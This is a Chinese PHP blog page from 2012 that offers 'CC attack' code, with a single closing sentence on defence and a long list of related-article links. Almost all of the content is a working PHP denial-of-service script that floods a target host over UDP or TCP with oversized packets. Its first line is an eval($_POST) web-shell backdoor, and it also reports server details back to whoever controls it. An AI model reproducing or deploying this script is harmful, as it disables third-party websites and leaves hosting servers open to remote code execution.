php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
PHP chmod 函数与批量修改文件目录权限
May 10 PHP
hessian 在PHP中的使用介绍
Dec 13 PHP
关于PHP语言构造器介绍
Jul 08 PHP
微信公众平台开发之配置与请求
Aug 26 PHP
Zend Framework教程之Zend_Db_Table表关联实例详解
Mar 23 PHP
php中array_column函数简单实现方法
Jul 11 PHP
Yii2中SqlDataProvider用法示例
Sep 22 PHP
PHP strcmp()和strcasecmp()的区别实例
Nov 05 PHP
浅谈PHP的数据库接口和技术
Dec 09 PHP
tp5(thinkPHP5)框架实现多数据库查询的方法
Jan 10 PHP
PHP中十六进制颜色与RGB颜色值互转的方法
Mar 18 PHP
PHP语言对接抖音快手小红书视频/图片去水印API接口源码
Aug 11 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
杏林同学录(六)
2006/10/09 PHP
一步一步学习PHP(3) php 函数
2010/02/15 PHP
PHP中array_merge和array相加的区别分析
2013/06/17 PHP
PHP生成不同颜色、不同大小的tag标签函数
2013/09/23 PHP
9段PHP实用功能的代码推荐
2014/10/14 PHP
PHP 的比较运算与逻辑运算详解
2016/05/12 PHP
PHP读书笔记_运算符详解
2016/07/01 PHP
Code:findPosX 和 findPosY
2006/12/20 Javascript
ExtJS 下拉多选框lovcombo
2010/05/19 Javascript
jQuery插件实现屏蔽单个元素使用户无法点击
2013/04/12 Javascript
关闭页面window.location事件未执行的原因及解决方法
2014/09/01 Javascript
javascript记录文本框内文字个数检测文字个数变化
2014/10/14 Javascript
纯css实现窗户玻璃雨滴逼真效果
2015/08/23 Javascript
JavaScript省市区三级联动菜单效果
2016/09/21 Javascript
JS声明式函数与赋值式函数实例分析
2016/12/13 Javascript
jQuery树插件zTree使用方法详解
2017/05/02 jQuery
Vue 组件参数校验与非props特性的方法
2019/02/12 Javascript
vue.js自定义组件实现v-model双向数据绑定的示例代码
2020/01/08 Javascript
vue 通过绑定事件获取当前行的id操作
2020/07/27 Javascript
在Windows8上的搭建Python和Django环境
2014/07/03 Python
Python中音频处理库pydub的使用教程
2017/06/07 Python
Python简单实现两个任意字符串乘积的方法示例
2018/04/12 Python
python实现简单http服务器功能
2018/09/17 Python
对python中大文件的导入与导出方法详解
2018/12/28 Python
python+selenium 鼠标事件操作方法
2019/08/24 Python
Python tkinter实现简单加法计算器代码实例
2020/05/13 Python
Python基于numpy模块实现回归预测
2020/05/14 Python
python基于pexpect库自动获取日志信息
2021/02/01 Python
日本民宿预约平台:STAY JAPAN
2017/07/01 全球购物
茶叶生产计划书
2014/01/10 职场文书
报关报检委托书
2014/04/08 职场文书
2014离婚协议书范文
2014/09/10 职场文书
2014年酒店年度工作总结
2014/12/10 职场文书
勇敢的心观后感
2015/06/09 职场文书
安全生产协议书
2016/03/22 职场文书
vue实现同时设置多个倒计时
2021/05/20 Vue.js